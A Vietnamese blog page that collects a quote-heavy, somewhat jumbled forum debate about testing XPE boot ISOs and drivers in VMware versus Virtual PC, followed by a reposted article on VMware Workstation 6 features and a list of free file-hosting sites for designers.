add sai registry. registry bạn làm ra trong XPE có tốt không? Các đồng nghiệp bạn cười khi đọc thì tôi cũng cười lại được vì các bạn chưa làm thành công XPE như tôi rồi vì mới chạy chức năng server máy ảo thấy quá tốt.trả lời @Bạn Thái thân.. CD… Dù bạn có sure server đến đây. mà đành xài tạm Ubuntu là thế (Bạn Giang. 2 Máy laptop tôi xái Vista. và ai cũng biết thừa là chuyện ấy không thực hiện được. “ Chả ai dùng VMWare để test driver cả. mà vội cho cho gía ấy 299 USD quá mắc. bỏ qua hết mọi chức năng khác của máy ảo như chạy thử ISO. Vì lẽ chúng tôi sử dụng ảo hoá không vì mục đích ấy.” “ Đồng nghiệp của tôi khi nghe tôi kể về bài viết này tất cả đều cười. Thành thực sorry vấn để này nhé. Windows XP tôi vẫn back up bằng Ghost ầm ầm hàng ngày có bao giờ bị mất bản quyền( licensed ) đâu nào? @Bạn Duy thân. Thái). Plugin nào bạn làm không đúng. “” Đúng XPE là hệ điều hành mà nhưng không giống như Windows XP. Giá trị của máy ảo được các bạn có nhu cầu dùng hàng ngày bổ sung thêm đầy đủ là quá đúng thôi. CD máy ảo không chính xác. Không ai có thể tự hào mình hoàn hảo về mọi phương tiện cả nên bài viết ấy cũng thế: Tôi mới nói qua test ISO. cũng không đồng nghĩa làm được XPE. không đúng cách sẽ không hoạt động. Rất tiếc bạn chưa thành công làm XPE giồng như tôi( làm hoàn hảo đến mức cuối cùng ) nên khó thể tranh luận tiếp với bạn về XPE test ISO tốt hay xấu( không thể nào chính xác ) trong máy ảo “ nhưng về các ứng dụng mình vẫn có thế nói một cách rõ ràng nhất. . Hy vọng bạn sẽ có thêm vài kiến thức về máy ảo”.” Bạn vẫn không hiểu test driver mà tôi nói trong XPE là gì cả. driver add vào không đủ. Test driver này đây là test plugin có driver. XPE là một hê điều hành hoạt động được hay không cón tuỳ theo từng plugin bạn sẽ làm ra . Windows server 2003.

Vì Vista chủ yếu cho cá nhân. ảo hoá chủ yếu dành cho doanh nghiệp. không dành cho cá nhân và test ISO. sẽ xài tốt không conflicted trong máy thật.*** trả lời tiếp Bạn Duy thân. Hiện chúng tôi đang test fedora core 9. Ubuntu. đó là dễ tìm driver. Kính chào. Nó có hỗ trợ ảo hoá đó. DrHoang Email: drhoang@*****. Nếu bác cho rằng chúng tôi không tạo được XPE thì bác đánh giá hơi thấp chúng tôi đó. Câu hỏi của tôi vẫn còn bỏ lững không ai ra tay giải quyết. Mà cá nhân thì không cần ảo hoá. cả server 2008. tiếc là không được đâu. Còn về tính tương thích với tất cả phần mềm thì có lẽ chúng tôi cũng ko cần phải lo. Lý do là máy thật có quá nhiều phần mềm khác cài bao nhiêu năm qua ( số lượng cài chắc là hơn nhiều trong máy ảo rồi ) DrHoàng nguyenduy Email: nguyenduy162@*****. vì chúng tôi chủ yếu phát triển cho server." Bạn nói vậy tôi hết hiểu nổi là bạn tìm driver giả lập Vậy những người dùng xài máy tính cá nhân hưởng gì lợi ích nghiên cứu của bạn .*** VMWare không để test ISO đâu Chắc hẳn bác Hoàng vẫn mong muốn dùng VMWare để test XPE. Và họ cũng chả dùng VMWare để test. Tuy nhiên.Chỉ tiếc 1 điều là tôi dân xài máy tính để bàn. Bạn bè tôi vẫn sử dụng XPE bác ạ. 32bit lẫn 64 bit. Mà server thì chả ai cài tán loạn lên đó đâu nhỉ. Đó là làm sao xác minh phần mềm nào chạy thử tốt trong máy ảo. Nên dễ tìm. Nhưng Vista thì không. hi hi. Vì lẽ phần cứng là giả lập cả. không xài server chưa thấy có nhu cầu để dùng máy ảo cả. công ty. Chúng tôi thích máy ảo còn ở 1 điểm. Chắc bác cũng biết server 2008 nhỉ. Bạn nói làm "Chúng tôi thích máy ảo còn ở 1 . vista đều trên máy ảo. Tóm lại. Mong bác thông cảm cho VMWare với.

điểm. nguyenduy Email: nguyenduy162@*****. Tuy nhiên. Bởi thế nên phần cứng của bác trong khi test mấy cái đó bằng VMWare loanh quanh mãi. Vì lẽ phần cứng của máy thật không tương thích Fedora. bạn có chế biến bổ sung gì cho Ubuntu. Vậy thì tại sao tôi phải xài VMWare. không dành cho cá nhân và test ISO"điều nữa là thử nghiệm trên môi trường ảo ấy hoàn toàn không thể nào giống như khi thử cài lại trên máy thật rồi. dễ thay đổi. cái chính khi bác test XPE là test xem nó có tương thích driver của máy bác không? Còn chúng tôi đâu quan tâm. Nếu có ai dùng VMWare để test XPE.net để coi họ có dùng Vmware test ISO XPE không nhĩ. Fedora với driver tìm ra đấy. Không test ISO Dr Hoàng được XPE rồi? OK. XPE thì khác. nói là Vmware nói không thể nào test ISO XPE nhỉ?Bạn còn ngại gì ở cái gì vậy?. đơn giản quăng lên VMWare. Chắc bác cũng chưa biết có chuyện Fedora cài trên máy thật thì ko chạy mà máy ảo thì chạy đâu nhỉ. Bởi lẽ CD cài software thì đâu có cần driver nhỉ. tôi vừa " Mà server thì chả ai cài tán loạn lên 1. dễ cấu hình. Sau này. vì chúng tôi cần môi trường sạch.*** About VMWare Chắc bác biết VMWare giả lập cả phần cứng nữa. Vì lẽ phần cứng là giả lập cả. Bác có biết tại sao phải hướng dẫn xài ISO không? VD chúng tôi tạo ra 1 CD cài đặt. nhưng sao bạn không vào www. ảo hoá chủ yếu dành cho doanh nghiệp. công ty. Nếu máy ảo không cài tán loạn trên ấy như anh bạn nói( không như cài máy thật ) thì tôi chắc chắn thêm 1 2. bảo đảm cũng chỉ test vòng vòng trong mấy cái driver đó mà thôi.Tôi đã nhầm. dẹp phần chỉ dẫn xài ISO đi nào. Còn việc test phần mềm trên ấy thay vì test trên máy thật thì khó mà giải . nên dễ tìmđể làm gì nữa . Thay vì phải burn 100 lần hay 1000 lần. Ðồng ý chứ rồi? Vậy thì ảo hoá test không sure thì lợi ích thử nghiệm phần mềm theo bạn giờ nằm ở đâuđây?được như bạn nói vậy thì bạn nên góp ý ngay với Vmware website rằng họ không nên làm bản cho cá nhân nữa mà chỉ nên sản xuất dùng server thôi.Bạn nói câu này. đó là dễ tìm driver. chúng chỉ toàn chạy trên máy ảo không ư? đây? đồng ý cũng vừa không?đó đâu nhỉ. Vậy tại sao bạn đóng góp 1 ý nào của bạn cho forum ấy.Tóm lại.911cd.

chúng tôi còn tìm ra được nhiều trường hợp lỗi của phần mềm mà do máy chủ có cấu hình lộn xộn. Không test ISO " . Máy chủ mà có những thứ ấy. tôi vừa " Mà server thì chả ai cài tán loạn lên 1. nhờ phần cứng giả lập ổn định. rất may là chúng tôi chưa từng gặp vấn đề gì. có card TV hay không? Thậm chí. chứ chưa từng gặp ai yêu cầu phải viết phần mềm để chạy trên máy của họ cả. Đó cũng là lý do mà VMWare có cấu hình ổn định và không ai yêu cầu thay đổi. Theo tôi biết. do những yêu cầu khắt khe về tính ổn định của hệ thống.thích. Chắc bác cũng chưa biết. hiện tại phần mềm chúng tôi viết. Ngoài chuyện bản quyền. chúng tôi quan tâm tới platform. là bạn tìm driver giả lập Bạn nói thêm câu này. còn là chuyện ổn định. chúng tôi còn tháo vất đi. cấu hình máy như thế nào. Chứ chúng tôi không quan tâm tới có Audigy. chúng tôi sẵn sàng giải đáp cho bác. chỉ có đưa ra yêu cầu cho máy chủ. Thậm chí. Vì lẽ máy chủ phải chạy 24/7. Bạn nói làm "Chúng tôi thích máy ảo còn ở 1. Bởi lẽ bác chưa từng làm. thì hiện tại phần lớn đều dùng VMWare để test. cả trong lẫn ngoài nước. Nếu máy ảo không cài tán loạn trên ấy như anh bạn nói( không như cài máy thật ) thì tôi chắc chắn thêm 1 2. Một sơ sót nhỏ sẽ làm tê liệt hệ thống cả công ty. Về lo lắng tính tương thích của bác." Bạn nói vậy tôi hết hiểu nổi. Tóm tắt là khi develop. điều thường thấy ở VN. Nếu bác còn gì thắc mắc. DRHoang Email: drhoang@*****. Cũng tiện đây trả lời cho bác về việc không dùng ghost trước đây.*** trả lời lại Bạn Duy Bạn Duy thân.

Fedora với cái driver giả lập tìm ra đấy: chúng chỉ toàn chạy trên máy ảo không ư? Vậy sau này những người dùng xài máy tính cá nhân hưởng gì lợi ích nghiên cứu của bạn đống ý vừa khôngđâu đây?được như bạn nói vậy thì bạn nên góp ý ngay với Vmware website rằng họ không nên làm phiên bản cho cá nhân nữa mà chỉ nên sản xuất dùng server thôi. công ty. nói là Vmware nói không thể nào test ISO XPE nhỉ?Bạn còn ngại gì ở cái gì vậy?. đó là dễ tìm driver. nhưng sao bạn không vào www. Vì lẽ phần cứng là giả lập cả. bạn có chế biến bổ sung gì cho Ubuntu.*** Địa chỉ: QN hello Tôi đang cài Virtual pc 2007 trên 2 may' co' câu' hình khác nhau 1 máy thì không nghe được nhac còn 1 máy thì lại nghe được ( tất cả các chức năng đều sử dụng đươc nhu máy thật Nguyen Hung Thai Email: nguyenthai@*****.Tôi đã nhầm. không dành cho cá nhân và test ISO" Ðiều nữa nhu tôi bổ sung là thử nghiệm các phần mềm trên môi trường ảo ấy hoàn toàn không thể nào giống như khi thử cài lại trên máy thật rồi( do quá khác nhau về phần mềm cài sẳn ). CUong Email: cuong_dh@*******. Ở đây mình tôn trọng mọi người chỉ nói ra suy nghĩ của mình thôi. Ðồng ý chứ rồi? Vậy thì ảo hoá test không sure thì lợi ích thử nghiệm phần mềm theo bạn giờ nằm ở Máy ảo khôn test ISO.Tóm lại.*** Re Chào. Sau này. như bạn kết luận ảo hoá chủ yếu dành cho doanh nghiệp. Vậy tại sao bạn đóng góp 1 ý nào của bạn cho forum ấy.điểm. máy tính cá nhân DR Hoang được XPE rồi? OK. Thực chất việc có làm ra được . Theo bạn là không thể tranh luận nếu không thành công trong việc chạy thử XPE. dẹp luôn phần chỉ dẫn cho ai muốn test ISO đi nào. Mình vừa xem xong bài gửi của bạn drhoang.net để coi họ có dùng Vmware test ISO XPE không nhỉ. nên dễ tìmđể làm cái gì nữa.911cd.

Bạn tìm cho máy ảo à. Điều này hoàn toàn vô lý đối với một người trong ngành IT. Nói cho cùng tụi nó chỉ là một công cụ để sử chửa hệ thống mà không cần phải reinstall lại. có thể 2 năm sau. nhưng bạn nói là cần driver để làm gì thì đó chính là mấu chốt vấn đề. chẳng qua là do Programmer lập trình rồi cài đặt thôi. Nếu muốn nghe nhạc mà không vào OS hay OS bị hư thì xài những OS Live.*** Re: Ban nguyenduy va ban nghiatai Mình muốn nói thêm cho bạn nguyenduy. mình nói mình không làm được là tại vì không có thời gian tìm kiếm phần mềm. Nếu là người đã học qua trường lớp về IT thì chắc chắn sẽ học về một hệ diều hành hoạt động như thế nào. Nguyen Hung Thai Email: nguyenthai@*****. Nếu bạn chạy driver thì chắc bạn muốn biến nó thành một hệ điều hành chính thống rồi. Mình chỉ nói vậy thôi. Bản thân mình là một người đã biết qua lập trình. chỉ cần ghi ra đĩa hay lên mạng. nhưng nếu bạn là một người thuộc ngành IT thì bạn sẽ hiểu những khó khăn. chỉ cần khôi phục lại hệ thống là đươc cần chi phải chạy driver. . Chẳng qua là ở cách sử dụng. Winternal ERD mình cũng thử qua. Ở ngay đầu bài là bạn nói thử nhạc nhưng mình nhắc lại XPE chỉ là 1 công cụ cứu trợ mà thôi. cái đó không bao giờ cập nhật riêng. chỉ có trong bản mới nhất của chương trình ảo hoá. Một cái là một hệ điều hành có thể thực thi mọi tác vụ của hệ thống mà bạn cần. mình không phải là không hiểu ý của bạn. Mình mạn phép hỏi bạn có biết cách nào install thẳng XPE vào ổ cúng để chạy như một hệ điều hành chính thống hay không. từng chạy thử nhiều hệ điều hành. một cái cũng là hệ điều hành nhưng là để giúp cho cài thằng kia nó "sống" khi gặp sự cố mà thôi. Mà đã là một công cụ thì rất nhỏ. ảo hoá sẽ lên ngôi. Nếu bạn trả lời được cái câu hỏi "Chạy driver làm gì trong XPE" thì coi như phần ý kiến này cũng sẽ khép lại. Nếu bạn là một người thuộc những ngành ngoài IT thì thôi. vì thực chất nó không cho phép và có thể bạn cũng không phải là một chuyên viên về lập trình (Mình không có ý nói xấu đâu nha). Đương nhiên lúc đó ai cũng sẽ dùng chứ ko phải chỉ doanh nghiệp. Làm gì có. Mình xin hỏi thêm bạn dùng driver để làm gì. Và bạn nói công ty bạn viết cho server. Ở đây mình xin hỏi bạn hoàng một câu riêng tư là bạn làm nghề gì. Còn tìm driver cho mấy hệ điều hành thì chẳng có liên quan gì đến máy ảo cả. Mình nghĩ bạn là Programmer của một công ty nào đó đúng không? Theo bạn Ảo hoá là dành cho doanh nghiệp. (Ở trong cái tên cũng đã nói lên tất cả). Hay để phục hồi driver cho máy.hay không không quan trọng bằng việc các bạn làm nó ra để làm gì. ngay cả XPE. Nếu không có bộ source của Windows thì lấy làm gì chạy XPE. Nếu bạn nói XPE không giống những thằng khác là quá sai lầm. Để nghe nhạc hay làm gì khác. lại càng không phải là OS Live. Tìm cho ai. Nếu phục hồi driver thì cần gì phải thêm nó vào XPE. Tất nhiên câu trả lời là không. Mình cũng muốn hỏi là tại sao bạn lại nói dễ tìm driver. Và có thể người đó sẽ có luận văn về Ảo hoá. Hy vọng bạn sớm tìm ra câu trả lời.

. Flash Drive USB. DrHoang Email: drhioang@*****. như thằng Windows Server 2003 đó. Có gì là khó đâu hở anh bạn ? Nhưng XPE lại khác hê điều hành XP ở điểm này là nó không thể cài vào phần mềm nào chạy được trong ấy mà không làm plugin( gồm registry. driver. “ Mình mạn phép hỏi bạn có biết cách nào install thẳng XPE vào ổ cúng để chạy như một hệ điều hành chính thống hay không. Bạn có vào được menu boot của Hirent không? Nếu không thì phải config boot như máy thường vậy.net/forums rồi.” .. mình xài Virtual PC không cần config bất cứ cái gì về sau. hoặc ổ cứng USB chạy như hệ điều hành chính thống. Tất nhiên câu trả lời là không. registry đúng mới biết hoạt động tốt trong XPE sau này. Câu hỏi của bạn dưới đây đủ rõ là bạn chưa thể nào quen XPE . driver ) cho phần mềm. chỉ cần bỏ iso hay đĩa Hirent vào là boot ngon lành. vì thực chất nó không cho phép “ Sao lại không kia chứ dù tôi không phải là dân lập trình chuyên nghiệp như bạn thôi.? Do vậy bạn Duy và tôi đã thông nhất không thể test ISO trong Vnware. Do vậy khi muốn làm ra bất cứ plugin nào cho XPE phải test. phân vùng cũng ngon. Mình nghĩ là bạn config có thể sai một chỗ nào đó.tuy nhiên các chương trình server vẫn có thể chạy trên PC được vậy. nhưng cũng có 1 phiên bản dành cho người dùng.exe để cài phần mềm nào trong XPE như XP được cả..*** trả lời Bạn Hùng Thái thân.. Chẳng qua là nó không có được những tính năng như một hệ thống server mà thôi. coi bạn đã làm thật đúng cách. Nếu dùng ISO test XPE không chính xác rồi vì driver mô phỏng ( làm gì biết được bạn đã tìm driver thật đúng đầy đủ trogn Plugin chưa nào. chưa dọc thật nhiều bài về XPE tại www. Tôi vẫn cài được XPE vào ổ cứng . lại càng không phải là OS Live. Trả lời câu hỏi bạn tài hỏi về VMWare mà không có ai trả lời. Còn điều này nữa hãng VMWare có một phiên bản dành cho Server. Bạn không thể chạy setup. Bạn nói thêm câu này lại chưa đúng nữa “ Ở ngay đầu bài là bạn nói thử nhạc nhưng mình nhắc lại XPE chỉ là 1 công cụ cứu trợ mà thôi. .911cd. Lời khuyên của mình trong chuyên này là thay đổi thằng VMWare thành Virtual PC đi..

chỉ là cứu hộ đơn thuần. 1) Ai làm sai sót nhỏ ở đây làm tê liệt công ty nếu không phải chuyên viên mạng công ty mạng? .điều khiển máy in.Ý kiến của bạn đúng ở 2 năm về trước khi Bart’PE mới tìm ra..( đã cài nhiều phần khác nhau ).? 2) Đúng may là bạn (cơ quan) chưa từng gặp về tương thích nhưng bạn lại nói phần cứng giả lập ổn định khi chạy máy ảo thì nó không thể nào áp dụng lại ở phần cứng thật máy dùng cá nhân rồi. Y kiến này sẽ khép lại khi ngày nào bạn hiểu thêm nhiều XPE hơn nữa. Một sơ sót nhỏ sẽ làm tê liệt hệ thống cả công ty. thâu TV. xem DVD .*** trả lời bạn Duy Bạn Nguyễn Duy thân. DR Hoàng DrHoang Email: drhoang@*****. chỉ có đưa ra yêu cầu cho máy chủ. Ngoài chuyện bản quyền. quá cực đoan về ghost mà khó áp dụng máy cá nhân ở nhiều bạn đọc XHTT. Máy tính tại nhà của bạn không bao giờ làm Ghost. . Điểm khác mấu chốt giữa XP và XPE là XPE làm ngay được mọi thứ trên CD read only. Chắc bác cũng chưa biết. không cần vào ổ cứng làm gì. nhờ phần cứng giả lập ổn định. chúng tôi còn tìm ra được nhiều trường hợp lỗi của phần mềm mà do máy chủ có cấu hình lộn xộn. “ Cũng tiện đây trả lời cho bác về việc không dùng ghost trước đây. Vì lẽ máy chủ phải chạy 24/7. Về lo lắng tính tương thích của bác. XPE đã thành một công cụ relax everything ngoài cứu hộ như trước đây. Sau này. Acronis bao giờ sao. điều thường thấy ở VN.” Những câu giải đáp của bạn đúng là hơi chủ quan. nối wireless không khác gì XP . Sherpya thành công biến Bart’s PE thành XPE ( gần giống hệt XP ). hiện tại phần mềm chúng tôi viết. Thậm chí. Đó cũng là lý do mà VMWare có cấu hình ổn định và không ai yêu cầu thay đổi. rất may là chúng tôi chưa từng gặp vấn đề gì. chứ chưa từng gặp ai yêu cầu phải viết phần mềm để chạy trên máy của họ cả. với sự góp sức toàn thế giới. còn là chuyện ổn định. quay modem. vì giờ này bạn có thể nghe nhạc bất cứ card sound nào cao cấp( Audigy ). Sai sót khi làm ghost restore thì khó thể nào chấp nhận ở người quá giỏi IT rồi.

*** Re: Ket thuc Mình gửi bài này mong kết thúc mọi việc.*** Trả lời bác Hoàng về những thắc mắc của bác 1. Nhưng bạn có hiểu rõ về các dĩnh nghĩa driver máy tính không. Nhưng điều quan trọng ở đây là nhửng máy ảo thường đi kèm một bộ componet driver và tùm lum. DRHoàng Nguyen Hung Thai Email: nguyenthai@*****. Nhất là những công ty có server cỡ lớn chuyên back up bằng băng từ.3) Công ty bạn nói do yêu cầu chỉ làm cho máy chủ ( khách hàng) nhưng không thể áp dụng đại trà cho mọi máy tính thì tôi hết ý kiến gì nữa rồi. Bác có thể tham khảo chuyên viên mạng của các công ty. Tóm lại server chỉ có HDH và các phần mềm liên quan thôi. Nên theo bác thì nên mua 1 server mới hay viết lại phần . Cho dù bạn có đầy dủ driver nhưng không có component thì sao mà test được. đó là yêu cầu hiển nhiên với server đó. Thứ nhất tên lót mình là Hưng. V/v dùng ghost. xem họ có dùng ghost hay TrueImage không??? 2 và 3: Chả biết giải thích sao nữa. Các bạn khi xài VMWare có thể không có các chức năng hay như Virtual PC. nếu bạn drhoang muốn test thử driver thì có thể cài thẳng XPE vào ổ cứng nếu được. Sau này bạn lỡ chuyển qua công ty khác yêu cầu khác hẳn sẽ hơi mệt về những tìm tòi thử nghiệm. vd như card màn hình bạn đang xài hiêu NVIDIA 8600 đi thì chỉ test được nó. chứ có test được cái driver của card NVIDIA 8800 đâu. các bạn ở đây đều đề cập duy nhật chỉ một chương trình ảo hoá là VMWare mà quên đi một chương trình ảo hoá mà bạn drhoang nhắc ở đầu là Virtual PC. nhưng mình chắc chắn 100% rằng Virtual PC có khả năng như yêu cầu của bạn là test driver. nguyenduy Email: nguyenduy162@*****. kiến thức trứớc đây của bạn chỉ dành riêng cho máy chủ đấy. Vì lẽ sẽ bị đụng. Thứ hai. Chi phí cho 1 phần mềm bao giờ cũng cao hơn phần cứng nhé. sau đó cho chạy component đó. Chẳng hạn bạn chỉ có thể test 1 driver mà máy bạn có mà thôi. Không được cài các phần cứng khác cũng như các phần mềm khác. nó sẽ có driver cho bạn test. Mình đã nhắc rất nhiều đến Virtual PC. Nếu như bạn drhoang nói là XPE có thể chơi nhạc thì cái này do mình sơ suất.

muốn biết thành công cho bất cứ plugin nào đó trong XPE. Với sản phẩm VMware . XPE coi như một hệ điều hành chưa hoàn thiện nếu thiếu nhiều plugin do người dùng làm ra . chuyên gia quản trị hệ thống và cả những người dùng cá nhân khi muốn khám phá.mềm ??? Giá phần mềm gia công cho nước ngoài từ 30ng (thấp nhất) đến nửa triệu USD (trung bình).asp?id=&subjectid=14347 +++++++++++++ VMware Workstation 6. Theo tôi biết. chuyên gia kiểm định phần mềm và cả những người dùng bình thường. Chỉ có các công ty nhỏ mới dùng server là PC thôi bác ạ. XPE cũng thế . đâu phaỉ y hệt như driver trong máy thật.7x. phần lớn là server. thì ở VN hiện tại có ít công ty viết phần mềm cho máy cá nhân. Nên bác khỏi lo việc tìm việc của tôi. đúng không nào? . Hãng phát triển phần mềm VMware đã tham gia vào thị trường ảo hóa cách đây 8 năm.vn/index.0 là sản phẩm mới nhất trong dòng sản phẩm rất thành công của VMware. Và nó làm đủ vai trò cả. thêm USB . Các công ty đó thì miễn bình luận. cách làm cũng đúng qui tắc của plugin. Đây thực sự là công cụ hữu ích cho các lập trình viên. Virtual PC cũng là máy ảo có hay hơn Vmware ở chỗ cấu hình phần cứng dễ. DrHoang Email: drhoang@*****. Tôi nghĩ bác có quen nhỉ. phải biết thêm registry cho đúng. XPE muốn thanh công toàn diện ngoài chuyện phải làm từng cái plugin có driver y hệt như máy thật. . chuyên gia quản trị mạng. Về server phải như thế nào bác có thể tham khảo IT của server XHTT này. các sản phẩm của họ đã. Nhưng driver Nvidia có thể dùng chung cho nhiều card Nvidia khác đời cùng lúc miễn là chúng trong nhóm 6x. Do vậy. thử nghiệm hay đơn giản chỉ là xem qua cho biết một sản phẩm phần mềm mới.*** trả lời Ban Hưng Thái .xahoithongtin. Ai mà chả biết card màn hình nào đều dùng driver chỉ riêng cho loại card ấy. phải thử qua có chạy tốt trên CDRW hay DVDRW( đỡ hao đĩa CDRD ). 8x . Do máy ảo có test ISO nên tôi cũng đã thử xem thế nào và các bạn như bạn Duy bổ sung sau cùng không thể test ISO chính xác cho XPE ISO hay CDXPE được http://www. đang và sẽ giúp đỡ rất nhiều cho các nhà phát triển phần mềm.com.

0 cũng là một đặc điểm mới của Vmware 6 Trong các bản VMware Workstation trước cũng đã cho phép mở các máy ảo được tạo bởi các dòng sản phẩm của VMware như VPC 2007 và Symantec LiveState Recovery. Ở phiên bản mới tính năng Import máy ảo được nâng cấp dựa trên sản phẩm VMware Converter.0 đã có thể tính năng hỗ trợ cho các hệ điều hành 64-bit và Windows Vista. gallery Với VMware Workstation 6 bạn có thể tạo một hệ thống mạng gồm nhiều máy ảo bằng cách sao chép một máy ảo đã cài hoàn chỉnh hệ điều hành và các ứng dụng mà không cần phải cài từng cái. thì nhà quản trị hệ thống có thể cài đặt một máy ảo chạy hệ điều hành mới để kiểm tra tính ổn định. Trong VMware Workstation 6. gallery Microsoft Virtual PC 2007 và Parallels Workstation cũng đưa ra các sản phẩm ảo hóa máy tính nhưng VMware Workstation vẫn vượt trội với các tính năng như cho phép lưu lại tình trạng của máy ảo tại một thời điểm (gọi là snapshot) và dễ dàng khôi phục lại tình trạng của máy ảo vào thời điểm đã lưu. thậm chí các máy ảo này còn có thể liên lạc với nhau tạo thành một mô hình mạng ảo. Trong VMware Workstation 6. Các máy tính ảo có thể chạy đồng thời số lượng tùy thuộc vào lượng bộ nhớ RAM của hệ thống thật. hãng sản xuất tiếp tục cải tiến và đưa ra các tính năng mới dành cho dòng sản phẩm xuất sắc nhất. Với phần mềm ảo hóa.Workstation 6. Hỗ trợ USB 2. Máy tính ảo.0 có thể hỗ trợ vô số các máy ảo chạy trên nó với giới hạn chỉ là ở dung lượng ổ cứng. Nó có thể import từ một máy thật .0. Ngoài ra bạn có thể ghi lại các tác vụ được thực hiện trên máy ảo thành một đoạn phim hướng dẫn. những nhà nghiên cứu phần mềm độc hại có thể phân tích một virus mới mà không hề gây tổn hại đến máy tính thật và người dùng bình thường có thể chạy các phần mềm mà chỉ có thể chạy trên các hệ điều hành cũ. các chuyên gia phát triển phần mềm có thể kiểm tra sản phẩm của mình chạy trên nền những hệ điều hành khác nhau một cách nhanh nhất. Một máy tính thật chạy phần mềm VMware Workstation 6. đúng với tên gọi nó có mọi chức năng như một máy tính bình thường chỉ khác một điều là máy tính ảo chạy trên nền của máy tính thật. người dùng có thể tạo nhiều điểm snapshot trên cùng một máy ảo. Một ví dụ cho chức năng này là bạn có thể kiểm tra phần mềm chống spyware của mình bằng cách tạo một snapshot ngay lúc máy tính bị nhiễm và dùng phần mềm quét spyware sau đó tạo một snapshot ngay khi máy tính đã hết nhiễm. Hơn nữa việc hỗ trợ đa màn hình cho phép một máy ảo thể hiện trên nhiều màn hình (dĩ nhiên là hệ điều hành chạy trên máy ảo cũng phải hỗ trợ tính năng này).

Windows Vista) hay import các máy ảo của Virtual PC (sản phẩm máy chủ ảo của Microsoft).filefactory. Dưới đây là một số hosting free. VMware Workstation 6 là sản phẩm mới nhất trong dòng sản phẩm rất thành công của VMware.myfreefilehosting.com/ http://ts-host.com/upload/ .com/article/2226 Được đăng bởi haodalat tại 8:05 SA 0 nhận xét Nhãn: Máy ảo 08-04-2008 Hosting free cho designer . bạn chỉ cầu bấm và upload.0 cũng nâng giới hạn dung lượng RAM được phép cấp phát cho tất cả các máy ảo lên 4 GB và cho một máy ảo duy nhất lên 3. thậm chí có thể tạo máy ảo bằng cách import tập tin ảnh được tạo bởi Ghost 9. chuyên gia quản trị hệ thống và cả những người dùng cá nhân khi muốn khám phá. vì attach email chỉ dưới 10mb.com/ http://www.thả trong khi chuyển dữ liệu từ máy ảo Windows sang máy ảo Linux. Để tìm kiếm một hosting upload các file cho khách hàng xem trực tiếp xem ra không đơn giản. Phiên bản 6.thongtincongnghe. nên chia nhỏ và nối lại với khách hàng rất khó khăn và phiền tóai. Một bài viết tổng hợp các nguồn hy vọng sẽ giúp ích các designer trong khi chưa có hosting/ server riêng.để tạo thành một máy ảo (lưu ý chỉ hỗ trợ các máy thật chạy hệ điều hành Windows NT4. rất đơn giản http://www. thử nghiệm hay đơn giản chỉ là xem qua cho biết một sản phẩm phần mềm mới (PCmag) http://www.6 GB. Windows XP.x trở về sau. gallery Nhằm phục vụ cho việc kiểm thử phần mềm của các chuyên gia lập trình. Một trong những tính năng mới nữa là cho phép thực hiện tác vụ kéo .. VM6 tích hợp luôn cả hệ thống Virtual Studio development của Microsoft và nền tảng phát triển Eclipse cho phép nhà lập trình dễ dàng biên dịch mã nguồn và chạy nó trên máy ảo trong khi sử dụng Remote Debugging trên máy thật để kiểm thử. Windows 2000. Windows Server 2003. Phần này dành cho các bạn làm flash. hoặc in ấn. Đây thực sự là công cụ hữu ích cho các lập trình viên.

com/ http://keepmyfile.filefactory.com/ Quản lý có cả chương trình hỗ trợ http://www.com/ http://minorcrisis.com/ http://omsweb.net/ http://musicwebtown.filesupyours.com/ http://mediamungo.com/ http://youtube.com/ với 300MB http://www.eu/ http://imageshack.com/ Host up dữ liệu (quản lý theo Folder) http://www.us/ http://imeem.com/ http://imeem.com/ http://mihd.4shared.com/ Host up Nhạc http://imeem.com/ http://megaupload.fileden.com/ http://photobucket.net/ http://uploading.com/ Host up Video http://google.com/ http://heavy.http://www.net/index.com/ http://mediamax.mediafire.com/ http://www.nr/ http://vieturl.com/ Host up dữ liệu (lấy dc link trực tiếp): http://my.asp http://freeimagehost.opera.com/ 25GB Host up ảnh http://anhso.com/ Kho lưu dữ liệu miễn phí trên mạng .com/ http://keepmyfile.net/ http://esnips.co.com/ http://box.com/ http://videowebtown.

khả năng lưu trữ 2 GB và hỗ trợ tất cả các định dạng file.mooload.diino. http://bigfileupload. đấu giá eBay và MySpace.com/: Cho phép gửi file nhanh chóng.net/: Kích thước file 100 MB.com/: Một dịch vụ kết hợp của YouSendIt.sendover. http://www. http://box.com/: Kích thước file 100 MB. http://filexoom. http://www. thời hạn 10 ngày (chỉ bị xóa nếu không có ai tải trong vòng 10 ngày). http://www.pando. Nếu trả thêm 4. Diino còn hỗ trợ tổ chức ảnh số. chơi nhạc và truy cập thông tin an toàn. BitTorrent và AIM.com/: Kích thước file tối đa 100 MB. không giới hạn thời gian lưu trữ.hkbn. Tất cả đều dễ sử dụng và một số còn tự động cập nhật file mới trong ổ cứng của người sử dụng. dễ dàng với kích thước lên đến 1 GB mà không cần đăng ký tài khoản. http://zshare. http://www.com/: Tải file với dung lượng 250 MB.net/: 1 GB miễn phí và 5 GB nếu người sử dụng trả thêm 5 USD/tháng. https://www. http://mediamax.Những website lưu trữ này cho phép mọi người chia sẻ file có dung lượng lớn hoặc mở ra xem trên bất cứ máy tính kết nối Internet nào.picture9. Mail Big File hỗ trợ mã hóa 128 bit. http://www. tức an toàn hơn cả các dịch vụ e-mail thông thường.com/: Kích thước file lên tới 2 GB nhưng thời gian tồn tại của file chỉ là 7 ngày.gimehost.com/: Kích thước file tối đa là 500 MB và sẽ chỉ tự động xóa nếu sau 30 ngày không có ai tải xuống. người sử dụng sẽ có ổ lưu trữ ảo 100 GB và có thể tải về 10 GB/tháng. .com/: Nơi lưu trữ ảnh và tạo slideshow cho blog. http://www.95 USD/tháng. http://www.mailbigfile.net/bbdrive: Lưu trữ 10 GB và không giới hạn kích thước file.streamload.com/: Ngoài việc cho phép chia sẻ file dung lượng lớn dễ dàng.com/: Miễn phí 25 GB upload (tải lên) và 1 GB download (tải xuống) mỗi tháng.

